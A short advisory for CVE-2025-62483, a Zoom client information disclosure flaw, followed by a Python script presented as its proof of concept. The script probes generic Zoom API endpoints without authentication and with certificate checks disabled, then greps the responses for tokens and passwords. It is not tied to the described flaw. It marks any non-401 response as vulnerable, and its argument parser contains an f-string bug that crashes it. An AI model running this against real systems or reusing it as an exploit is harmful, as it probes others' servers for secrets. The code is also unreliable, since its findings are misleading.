Improper removal of sensitive information in certain Zoom Clients before version 6.5.10 may allow an unauthenticated user to conduct a disclosure of information via network access.
The following code is for security research and authorized testing only.
python
# CVE-2025-62483 PoC - Zoom Client Information Disclosure
# This PoC demonstrates the information disclosure vulnerability in Zoom clients before 6.5.10
# Note: This is for educational and authorized testing purposes only
import requests
import json
import argparse
from urllib.parse import urljoin
def test_zoom_info_disclosure(target_url, cve_id="CVE-2025-62483"):
"""
Test for CVE-2025-62483: Improper removal of sensitive information in Zoom Clients
This PoC attempts to identify if the target Zoom client endpoint leaks sensitive information
through network access. The vulnerability allows unauthenticated users to access sensitive data.
"""
print(f"[*] Testing for {cve_id}")
print(f"[*] Target: {target_url}")
# Common Zoom client API endpoints that might leak information
endpoints = [
"/v2/users/me",
"/v2/meetings",
"/v2/users/me/settings",
"/v2/report/meetings",
"/v1/client/config",
"/v1/user/info"
]
results = []
for endpoint in endpoints:
try:
full_url = urljoin(target_url, endpoint)
response = requests.get(full_url, timeout=10, verify=False)
# Check if response contains sensitive information indicators
sensitive_patterns = [
"token", "secret", "password", "credential",
"auth", "session", "private_key", "api_key"
]
response_text = response.text.lower()
found_patterns = [p for p in sensitive_patterns if p in response_text]
if found_patterns or response.status_code != 401:
results.append({
"endpoint": endpoint,
"status_code": response.status_code,
"sensitive_data_leaked": found_patterns,
"vulnerable": True
})
print(f"[!] Potential vulnerability found at {endpoint}")
print(f" Status: {response.status_code}")
print(f" Leaked patterns: {found_patterns}")
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {endpoint}: {str(e)}")
if not results:
print("[*] No obvious information disclosure detected")
print("[*] Manual verification recommended")
return results
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"PoC for {CVE-2025-62483}")
parser.add_argument("-t", "--target", required=True, help="Target Zoom server URL")
args = parser.parse_args()
test_zoom_info_disclosure(args.target)